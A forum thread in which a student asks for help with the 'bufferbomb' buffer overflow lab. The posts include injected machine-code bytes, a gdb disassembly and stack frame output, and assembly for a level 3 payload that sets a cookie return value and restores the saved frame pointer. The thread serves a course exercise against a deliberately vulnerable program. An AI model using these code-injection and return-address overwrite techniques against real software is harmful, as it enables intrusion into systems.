Avatar of snowball86
 asked on

bufferbomb level2

I have code for my exploit string which is

c7 05 c0 a1 04 08 74 28 5e 70 68 c0 8d 04 08 c3

My problem is that i can't figure out how to put it into the buffer and get this particular code to be called.

Am i supposed to do something like this?

c7 05 c0 a1 04 08 74 28 5e 70 68 c0 8d 04 08 c3 xx xx xx xx

where the x's are the are the begining address of the buffer? The buffer size is 16 so  should i overwrite the return address so that it points back to the begining of buffer?

Dump of assembler code for function getbuf:
0x08048f40 <getbuf+0>:  push   %ebp
0x08048f41 <getbuf+1>:  mov    %esp,%ebp
0x08048f43 <getbuf+3>:  sub    $0x18,%esp
0x08048f46 <getbuf+6>:  lea    0xfffffff4(%ebp),%eax
0x08048f49 <getbuf+9>:  mov    %eax,(%esp)
0x08048f4c <getbuf+12>: call   0x8048dd0 <Gets>
0x08048f51 <getbuf+17>: mov    $0x1,%eax
0x08048f56 <getbuf+22>: leave  
0x08048f57 <getbuf+23>: ret    
0x08048f58 <getbuf+24>: nop    
0x08048f59 <getbuf+25>: lea    0x0(%esi),%esi

I don't know how to find the beginign address of the buffer though. i am also not sure if i just put the exploit code into the buffer and then overwrite the return address with the begining address of the buffer.

Avatar of undefined
Last Comment

8/22/2022 - Mon

I assume you read the whole discussion in the question you indicated as a related solution ?


especially the little stack overview I posted here :


It should help you figure out where you can overwrite the return address ;)

Can you please explain how to find the address that i need  to return to? I know where to put the address, I want to put it right after my exploit code right? So that i overwrite the return address with the address of the buffer.

the disassembled code for getbuf is above

Breakpoint 1, 0x08048f4c in getbuf ()
(gdb) info frame
Stack level 0, frame at 0xbfffbaf0:
 eip = 0x8048f4c in getbuf; saved eip 0x8048f7e
 called by frame at 0xbfffbb10
 Arglist at 0xbfffbae8, args:
 Locals at 0xbfffbae8, Previous frame's sp is 0xbfffbaf0
 Saved registers:
  ebp at 0xbfffbae8, eip at 0xbfffbaec


I mean is it supposed to be like in the related solution?

"if I look at the assembly code of getbuf, I can deduce the following:
in the lea -0xc(%ebp), %eax, it is allocating space of 12 ( -0xc) for the array buf and putting the address of ebp - 12  in register %eax. So I thought if I just find the address of %eax, which in the above gdb session, it shows it is  0xbf8e345c, I have found the base address of the array.   %ebp is  0xbf8e3468, according to the gdb session, and if we subtract 12 from that, we get 0xbf8e345c in %eax, as desired, right?"

what is 0xfffffff4? does that correspond to -4? the ebp that i got is 0xbfffbae8 subtract 4 and you get

but when i put that in after my exploit code it just gives a segmentation fault.

Your help has saved me hundreds of hours of internet surfing.

>>   ebp at 0xbfffbae8, eip at 0xbfffbaec

This tells you where the return address and ebp are on the stack. Combine that with the stack overview I posted in the other question, and you should be able to figure out where the buffer goes.

>> what is 0xfffffff4? does that correspond to -4?

It is -12. It's two's complement :


Thanks i made a mistake in my input when i typed it. it works now....

now to level 3.

We're supposed to  provide an exploit string to cause getbuf to return the cookie back to test rather than the value 1. We have to set the cookie as the return value and restore any corrupted state.  

This is my code.

movl $0x705e2874, %eax  //put cookie into the eax register
movl $0xbfffbae8, %ebp
pushl $0x08048f60 //r push the address of test

but i don't think that i am saving the value of ebp right. I'm not sure how to find the value of ebp so that i can restore that value before returning.

View this solution by signing up for a free trial.
Members can start a 7-Day free trial and enjoy unlimited access to the platform.
See Pricing Options
Start Free Trial
Ask your own question & get feedback from real experts
Find out why thousands trust the EE community with their toughest problems.

Thanks a whole bunch :)
Try out a week of full access for free.
Find out why thousands trust the EE community with their toughest problems.